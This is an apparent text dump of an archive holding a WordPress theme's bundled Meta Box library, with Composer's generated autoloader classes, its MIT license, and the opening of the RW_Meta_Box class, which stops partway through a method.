            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
    ),
);
PK     N\X)    >  inc/dashboard/lib/meta-box/vendor/composer/autoload_static.phpnu [        <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa
{
    public static $prefixLengthsPsr4 = array (
        'M' => 
        array (
            'MetaBox\\' => 8,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'MetaBox\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$classMap;

        }, null, ClassLoader::class);
    }
}
PK     N\ .  .  2  inc/dashboard/lib/meta-box/vendor/composer/LICENSEnu [        
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK     N\u
?  ?  <  inc/dashboard/lib/meta-box/vendor/composer/autoload_real.phpnu [        <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
        spl_autoload_unregister(array('ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa', 'loadClassLoader'));

        require __DIR__ . '/autoload_static.php';
        call_user_func(\Composer\Autoload\ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::getInitializer($loader));

        $loader->register(true);

        return $loader;
    }
}
PK     N\2@u?  ?  :  inc/dashboard/lib/meta-box/vendor/composer/ClassLoader.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var \Closure(string):void */
    private static $includeFile;

    /** @var string|null */
    private $vendorDir;

    // PSR-4
    /**
     * @var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array<string, list<string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * List of PSR-0 prefixes
     *
     * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
     *
     * @var array<string, array<string, list<string>>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var array<string, bool>
     */
    private $missingClasses = array();

    /** @var string|null */
    private $apcuPrefix;

    /**
     * @var array<string, self>
     */
    private static $registeredLoaders = array();

    /**
     * @param string|null $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
        self::initializeIncludeClosure();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return array<string, string> Array of classname => path
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array<string, string> $classMap Class to filename map
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string              $prefix  The prefix
     * @param list<string>|string $paths   The PSR-0 root directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string              $prefix  The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths   The PSR-4 base directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string              $prefix The prefix
     * @param list<string>|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string              $prefix The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            $includeFile = self::$includeFile;
            $includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders keyed by their corresponding vendor directories.
     *
     * @return array<string, self>
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }

    /**
     * @return void
     */
    private static function initializeIncludeClosure()
    {
        if (self::$includeFile !== null) {
            return;
        }

        /**
         * Scope isolated include.
         *
         * Prevents access to $this/self from included files.
         *
         * @param  string $file
         * @return void
         */
        self::$includeFile = \Closure::bind(static function($file) {
            include $file;
        }, null, null);
    }
}
PK     N\ 2?  ?  @  inc/dashboard/lib/meta-box/vendor/composer/InstalledVersions.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 *
 * @final
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints((string) $constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                    $required = require $vendorDir.'/composer/installed.php';
                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                $required = require __DIR__ . '/installed.php';
                self::$installed = $required;
            } else {
                self::$installed = array();
            }
        }

        if (self::$installed !== array()) {
            $installed[] = self::$installed;
        }

        return $installed;
    }
}
PK     N\E   E   9  inc/dashboard/lib/meta-box/vendor/composer/installed.jsonnu [        {
    "packages": [],
    "dev": true,
    "dev-package-names": []
}
PK     N\!      <  inc/dashboard/lib/meta-box/vendor/composer/autoload_psr4.phpnu [        <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'MetaBox\\' => array($baseDir . '/src'),
);
PK     N\L      @  inc/dashboard/lib/meta-box/vendor/composer/autoload_classmap.phpnu [        <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
PK     N\&jh#0  0  +  inc/dashboard/lib/meta-box/inc/meta-box.phpnu [        <?php
use MetaBox\Support\Arr;

/**
 * A class to rapid develop meta boxes for custom & built in content types
 *
 * @property string $id             Meta Box ID.
 * @property string $title          Meta Box title.
 * @property array  $fields         List of fields.
 * @property array  $post_types     List of post types that the meta box is created for.
 * @property string $style          Meta Box style.
 * @property bool   $closed         Whether to collapse the meta box when page loads.
 * @property string $priority       The meta box priority.
 * @property string $context        Where the meta box is displayed.
 * @property bool   $default_hidden Whether the meta box is hidden by default.
 * @property bool   $autosave       Whether the meta box auto saves.
 * @property bool   $media_modal    Add custom fields to media modal when viewing/editing an attachment.
 */
class RW_Meta_Box {
	/**
	 * Meta box parameters.
	 *
	 * @var array
	 */
	public $meta_box;

	/**
	 * Detect whether the meta box is saved at least once.
	 * Used to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc.
	 *
	 * @var bool
	 */
	public $saved = false;

	/**
	 * The object ID.
	 *
	 * @var int
	 */
	public $object_id = null;

	/**
	 * The object type.
	 *
	 * @var string
	 */
	protected $object_type = 'post';

	public function __construct( array $meta_box ) {
		$meta_box       = static::normalize( $meta_box );
		$this->meta_box = $meta_box;

		$this->meta_box['fields'] = static::normalize_fields( $meta_box['fields'], $this->get_storage() );

		$this->meta_box = apply_filters( 'rwmb_meta_box_settings', $this->meta_box );

		if ( $this->is_shown() ) {
			$this->global_hooks();
			$this->object_hooks();
		}
	}

	public function register_fields() {
		$field_registry = rwmb_get_registry( 'field' );

		foreach ( $this->post_types as $post_type ) {
			foreach ( $this->fields as $field ) {
				$field_registry->add( $field, $post_type );
			}
		}
	}

	public function is_shown() : bool {
		$show = apply_filters( 'rwmb_show', true, $this->meta_box );
		return apply_filters( "rwmb_show_{$this->id}", $show, $this->meta_box );
	}

	protected function global_hooks() {
		// Enqueue common styles and scripts.
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] );

		// Add additional actions for fields.
		foreach ( $this->fields as $field ) {
			RWMB_Field::call( $field, 'add_actions' );
		}
	}

	/**
	 * Specific hooks for meta box object. Default is 'post'.
	 * This should be extended in subclasses to support meta fields for terms, user, settings pages, etc.
	 */
	protected function object_hooks() {
		// Add meta box.
		add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] );

		// Hide meta box if it's set 'default_hidden'.
		add_filter( 'default_hidden_meta_boxes', [ $this, 'hide' ], 10, 2 );

		// Save post meta.
		foreach ( $this->post_types as $post_type ) {
			if ( 'attachment' === $post_type ) {
				// Attachment uses other hooks.
				// @see wp_update_post(), wp_insert_attachment().
				add_action( 'edit_attachment', [ $this, 'save_post' ] );
				add_action( 'add_attachment', [ $this, 'save_post' ] );
			} else {
				add_action( "save_post_{$post_type}", [ $this, 'save_post' ] );
			}
		}
	}

	public function enqueue() {
		if ( is_admin() && ! $this->is_edit_screen() && ! $this->is_gutenberg_screen() ) {
			return;
		}

